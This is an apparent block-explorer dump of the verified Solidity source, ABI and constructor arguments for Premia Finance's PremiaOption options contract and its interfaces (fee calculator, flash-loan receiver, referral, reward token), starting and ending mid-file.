premiaReferral.trySetReferrer(_user, _referrer); } else { _referrer = address(0); } return _referrer; } /// @notice Token swap (Used for flashExercise) /// @param _router The UniswapRouter contract to use to perform the swap (Must be whitelisted) /// @param _from Input token for the swap /// @param _to Output token of the swap /// @param _amount Amount of output tokens we want /// @param _amountInMax Max amount of input token to spend for the tx to not revert /// @param _path Path used for the routing of the swap /// @return Swap amounts function _swap(IUniswapV2Router02 _router, address _from, address _to, uint256 _amount, uint256 _amountInMax, address[] memory _path) internal returns (uint256[] memory) { require(_isInArray(address(_router), whitelistedUniswapRouters), "Router not whitelisted"); IERC20(_from).approve(address(_router), _amountInMax); uint256[] memory amounts = _router.swapTokensForExactTokens( _amount, _amountInMax, _path, address(this), block.timestamp.add(60) ); IERC20(_from).approve(address(_router), 0); return amounts; } /// @notice Check if option settings are valid (Reverts if not valid) /// @param _token Token for which option this /// @param _strikePrice Strike price of the option /// @param _expiration timestamp of the option function _preCheckOptionIdCreate(address _token, uint256 _strikePrice, uint256 _expiration) internal view { require(tokenStrikeIncrement[_token] != 0, "Token not supported"); require(_strikePrice > 0, "Strike <= 0"); require(_strikePrice % tokenStrikeIncrement[_token] == 0, "Wrong strike incr"); require(_expiration > block.timestamp, "Exp passed"); require(_expiration.sub(block.timestamp) <= maxExpiration, "Exp > 1 yr"); require(_expiration % _expirationIncrement == _baseExpiration, "Wrong exp incr"); } }

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IFeeCalculator","name":"_feeCalculator","type":"address"}],"name":"setFeeCalculator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_feeRecipient","type":"address"}],"name":"setFeeRecipient","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_max","type":"uint256"}],"name":"setMaxExpiration","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IPremiaReferral","name":"_premiaReferral","type":"address"}],"name":"setPremiaReferral","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IPremiaUncutErc20","name":"_uPremia","type":"address"}],"name":"setPremiaUncutErc20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_tokens","type":"address[]"},{"internalType":"uint256[]","name":"_strikePriceIncrement","type":"uint256[]"}],"name":"setTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newUri","type":"string"}],"name":"setURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addrList","type":"address[]"}],"name":"setWhitelistedUniswapRouters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"tokenStrikeIncrement","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tokens","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uPremia","outputs":[{"internalType":"contract IPremiaUncutErc20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"uri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"whitelistedUniswapRouters","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_optionId","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_optionId","type":"uint256"}],"name":"withdrawFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_optionId","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawPreExpiration","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_optionId","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawPreExpirationFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"strikePrice","type":"uint256"},{"internalType":"uint256","name":"expiration","type":"uint256"},{"internalType":"bool","name":"isCall","type":"bool"}],"internalType":"struct PremiaOption.OptionWriteArgs","name":"_option","type":"tuple"},{"internalType":"address","name":"_referrer","type":"address"}],"name":"writeOption","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"components":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"strikePrice","type":"uint256"},{"internalType":"uint256","name":"expiration","type":"uint256"},{"internalType":"bool","name":"isCall","type":"bool"}],"internalType":"struct PremiaOption.OptionWriteArgs","name":"_option","type":"tuple"},{"internalType":"address","name":"_referrer","type":"address"}],"name":"writeOptionFrom","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_optionId","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_referrer","type":"address"}],"name":"writeOptionWithIdFrom","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"}]

v0.7.6+commit.7338295f

00000000000000000000000000000000000000000000000000000000000000c00000000000000000000000006b175474e89094c44da98b954eedeac495271d0f0000000000000000000000008406c6c1db4d224c8b0cf7859c0881ddd68d4761000000000000000000000000602b50091b0b351ca179e87ad6e006aeceb2a6ad000000000000000000000000afcf4ca5826ed76189ea227bd863916abf43a6da000000000000000000000000c22fae86443aeed038a4ed887bba8f5035fd12f0000000000000000000000000000000000000000000000000000000000000002868747470733a2f2f7072656d69612e66696e616e63652f6170692f6461692f7b69647d2e6a736f6e000000000000000000000000000000000000000000000000

Default

PremiaOption

contracts/interface/IERC20Extended.sol

0x5920cb60b1c62dc69467bf7c6edfcfb3f98548c0

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; interface IERC20Extended is IERC20 { function decimals() external view returns (uint8); }

[{"inputs":[{"internalType":"string","name":"_uri","type":"string"},{"internalType":"contract IERC20","name":"_denominator","type":"address"},{"internalType":"contract IPremiaUncutErc20","name":"_uPremia","type":"address"},{"internalType":"contract IFeeCalculator","name":"_feeCalculator","type":"address"},{"internalType":"contract IPremiaReferral","name":"_premiaReferral","type":"address"},{"internalType":"address","name":"_feeRecipient","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":true,"internalType":"address","name":"referrer","type":"address"},{"indexed":false,"internalType":"uint256","name":"feeProtocol","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"feeReferrer","type":"uint256"}],"name":"FeePaid","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"uint256","name":"optionId","type":"uint256"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"OptionCancelled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":true,"internalType":"uint256","name":"optionId","type":"uint256"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"OptionExercised","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"optionId","type":"uint256"},{"indexed":true,"internalType":"address","name":"token","type":"address"}],"name":"OptionIdCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"uint256","name":"optionId","type":"uint256"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"OptionWritten","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"strikePriceIncrement","type":"uint256"}],"name":"SetToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256[]","name":"ids","type":"uint256[]"},{"indexed":false,"internalType":"uint256[]","name":"values","type":"uint256[]"}],"name":"TransferBatch","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"id","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"TransferSingle","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"value","type":"string"},{"indexed":true,"internalType":"uint256","name":"id","type":"uint256"}],"name":"URI","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":true,"internalType":"uint256","name":"optionId","type":"uint256"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Withdraw","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256[]","name":"ids","type":"uint256[]"}],"name":"balanceOfBatch","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_optionId","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"cancelOption","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_optionId","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"cancelOptionFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"denominator","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"denominatorDecimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_optionId","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_referrer","type":"address"}],"name":"exerciseOption","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_optionId","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_referrer","type":"address"}],"name":"exerciseOptionFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeCalculator","outputs":[{"internalType":"contract IFeeCalculator","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeRecipient","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_optionId","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_referrer","type":"address"},{"internalType":"contract IUniswapV2Router02","name":"_router","type":"address"},{"internalType":"uint256","name":"_amountInMax","type":"uint256"},{"internalType":"address[]","name":"_path","type":"address[]"}],"name":"flashExerciseOption","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_optionId","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_referrer","type":"address"},{"internalType":"contract IUniswapV2Router02","name":"_router","type":"address"},{"internalType":"uint256","name":"_amountInMax","type":"uint256"},{"internalType":"address[]","name":"_path","type":"address[]"}],"name":"flashExerciseOptionFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"contract IFlashLoanReceiver","name":"_receiver","type":"address"}],"name":"flashLoan","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"components":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"strikePrice","type":"uint256"},{"internalType":"uint256","name":"expiration","type":"uint256"},{"internalType":"bool","name":"isCall","type":"bool"},{"internalType":"uint256","name":"claimsPreExp","type":"uint256"},{"internalType":"uint256","name":"claimsPostExp","type":"uint256"},{"internalType":"uint256","name":"exercised","type":"uint256"},{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"uint8","name":"decimals","type":"uint8"}],"internalType":"struct PremiaOption.OptionData","name":"_option","type":"tuple"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_referrer","type":"address"},{"internalType":"uint8","name":"_decimals","type":"uint8"}],"name":"getExerciseQuote","outputs":[{"components":[{"internalType":"address","name":"inputToken","type":"address"},{"internalType":"uint256","name":"input","type":"uint256"},{"internalType":"uint8","name":"inputDecimals","type":"uint8"},{"internalType":"address","name":"outputToken","type":"address"},{"internalType":"uint256","name":"output","type":"uint256"},{"internalType":"uint8","name":"outputDecimals","type":"uint8"},{"internalType":"uint256","name":"fee","type":"uint256"},{"internalType":"uint256","name":"feeReferrer","type":"uint256"}],"internalType":"struct PremiaOption.QuoteExercise","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"uint256","name":"_expiration","type":"uint256"},{"internalType":"uint256","name":"_strikePrice","type":"uint256"},{"internalType":"bool","name":"_isCall","type":"bool"}],"name":"getOptionId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"uint256","name":"_expiration","type":"uint256"},{"internalType":"uint256","name":"_strikePrice","type":"uint256"},{"internalType":"bool","name":"_isCall","type":"bool"}],"name":"getOptionIdOrCreate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"components":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"strikePrice","type":"uint256"},{"internalType":"uint256","name":"expiration","type":"uint256"},{"internalType":"bool","name":"isCall","type":"bool"}],"internalType":"struct PremiaOption.OptionWriteArgs","name":"_option","type":"tuple"},{"internalType":"address","name":"_referrer","type":"address"},{"internalType":"uint8","name":"_decimals","type":"uint8"}],"name":"getWriteQuote","outputs":[{"components":[{"internalType":"address","name":"collateralToken","type":"address"},{"internalType":"uint256","name":"collateral","type":"uint256"},{"internalType":"uint8","name":"collateralDecimals","type":"uint8"},{"internalType":"uint256","name":"fee","type":"uint256"},{"internalType":"uint256","name":"feeReferrer","type":"uint256"}],"internalType":"struct PremiaOption.QuoteWrite","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxExpiration","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"name":"nbWritten","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nextOptionId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"optionData","outputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"strikePrice","type":"uint256"},{"internalType":"uint256","name":"expiration","type":"uint256"},{"internalType":"bool","name":"isCall","type":"bool"},{"internalType":"uint256","name":"claimsPreExp","type":"uint256"},{"internalType":"uint256","name":"claimsPostExp","type":"uint256"},{"internalType":"uint256","name":"exercised","type":"uint256"},{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"uint8","name":"decimals","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"bool","name":"","type":"bool"}],"name":"options","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"pools","outputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"denominatorAmount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"premiaReferral","outputs":[{"internalType":"contract IPremiaReferral","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256[]","name":"ids","type":"uint256[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeBatchTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IFeeCalculator","name":"_feeCalculator","type":"address"}],"name":"setFeeCalculator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_feeRecipient","type":"address"}],"name":"setFeeRecipient","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_max","type":"uint256"}],"name":"setMaxExpiration","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IPremiaReferral","name":"_premiaReferral","type":"address"}],"name":"setPremiaReferral","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IPremiaUncutErc20","name":"_uPremia","type":"address"}],"name":"setPremiaUncutErc20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_tokens","type":"address[]"},{"internalType":"uint256[]","name":"_strikePriceIncrement","type":"uint256[]"}],"name":"setTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newUri","type":"string"}],"name":"setURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addrList","type":"address[]"}],"name":"setWhitelistedUniswapRouters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"tokenStrikeIncrement","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tokens","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uPremia","outputs":[{"internalType":"contract IPremiaUncutErc20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"uri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"whitelistedUniswapRouters","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_optionId","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_optionId","type":"uint256"}],"name":"withdrawFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_optionId","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawPreExpiration","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_optionId","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawPreExpirationFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"strikePrice","type":"uint256"},{"internalType":"uint256","name":"expiration","type":"uint256"},{"internalType":"bool","name":"isCall","type":"bool"}],"internalType":"struct PremiaOption.OptionWriteArgs","name":"_option","type":"tuple"},{"internalType":"address","name":"_referrer","type":"address"}],"name":"writeOption","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"components":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"strikePrice","type":"uint256"},{"internalType":"uint256","name":"expiration","type":"uint256"},{"internalType":"bool","name":"isCall","type":"bool"}],"internalType":"struct PremiaOption.OptionWriteArgs","name":"_option","type":"tuple"},{"internalType":"address","name":"_referrer","type":"address"}],"name":"writeOptionFrom","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_optionId","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_referrer","type":"address"}],"name":"writeOptionWithIdFrom","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"}]

v0.7.6+commit.7338295f

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Default

PremiaOption

contracts/interface/IFeeCalculator.sol

0x5920cb60b1c62dc69467bf7c6edfcfb3f98548c0

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface IFeeCalculator { enum FeeType {Write, Exercise, Maker, Taker, FlashLoan} function writeFee() external view returns(uint256); function exerciseFee() external view returns(uint256); function flashLoanFee() external view returns(uint256); function referrerFee() external view returns(uint256); function referredDiscount() external view returns(uint256); function makerFee() external view returns(uint256); function takerFee() external view returns(uint256); function getFee(address _user, bool _hasReferrer, FeeType _feeType) external view returns(uint256); function getFeeAmounts(address _user, bool _hasReferrer, uint256 _amount, FeeType _feeType) external view returns(uint256 _fee, uint256 _feeReferrer); function getFeeAmountsWithDiscount(address _user, bool _hasReferrer, uint256 _baseFee) external view returns(uint256 _fee, uint256 _feeReferrer); }

[{"inputs":[{"internalType":"string","name":"_uri","type":"string"},{"internalType":"contract IERC20","name":"_denominator","type":"address"},{"internalType":"contract IPremiaUncutErc20","name":"_uPremia","type":"address"},{"internalType":"contract IFeeCalculator","name":"_feeCalculator","type":"address"},{"internalType":"contract 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v0.7.6+commit.7338295f

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Default

PremiaOption

contracts/interface/IFlashLoanReceiver.sol

0x5920cb60b1c62dc69467bf7c6edfcfb3f98548c0

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface IFlashLoanReceiver { function execute(address _tokenAddress, uint256 _amount, uint256 _amountWithFee) external; }

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v0.7.6+commit.7338295f

00000000000000000000000000000000000000000000000000000000000000c00000000000000000000000006b175474e89094c44da98b954eedeac495271d0f0000000000000000000000008406c6c1db4d224c8b0cf7859c0881ddd68d4761000000000000000000000000602b50091b0b351ca179e87ad6e006aeceb2a6ad000000000000000000000000afcf4ca5826ed76189ea227bd863916abf43a6da000000000000000000000000c22fae86443aeed038a4ed887bba8f5035fd12f0000000000000000000000000000000000000000000000000000000000000002868747470733a2f2f7072656d69612e66696e616e63652f6170692f6461692f7b69647d2e6a736f6e000000000000000000000000000000000000000000000000

Default

PremiaOption

contracts/interface/IPremiaReferral.sol

0x5920cb60b1c62dc69467bf7c6edfcfb3f98548c0

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface IPremiaReferral { function referrals(address _referred) external view returns(address _referrer); function trySetReferrer(address _referred, address _potentialReferrer) external returns(address); }

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v0.7.6+commit.7338295f

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Default

PremiaOption

contracts/interface/IPremiaUncutErc20.sol

0x5920cb60b1c62dc69467bf7c6edfcfb3f98548c0

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; interface IPremiaUncutErc20 is IERC20 { function getTokenPrice(address _token) external view returns(uint256); function mint(address _account, uint256 _amount) external; function mintReward(address _account, address _token, uint256 _feePaid, uint8 _decimals) external; }

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IPremiaUncutErc20","name":"_uPremia","type":"address"}],"name":"setPremiaUncutErc20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_tokens","type":"address[]"},{"internalType":"uint256[]","name":"_strikePriceIncrement","type":"uint256[]"}],"name":"setTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newUri","type":"string"}],"name":"setURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addrList","type":"address[]"}],"name":"setWhitelistedUniswapRouters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"tokenStrikeIncrement","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tokens","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uPremia","outputs":[{"internalType":"contract IPremiaUncutErc20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"uri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"whitelistedUniswapRouters","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_optionId","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_optionId","type":"uint256"}],"name":"withdrawFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_optionId","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawPreExpiration","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_optionId","type":"uint256"}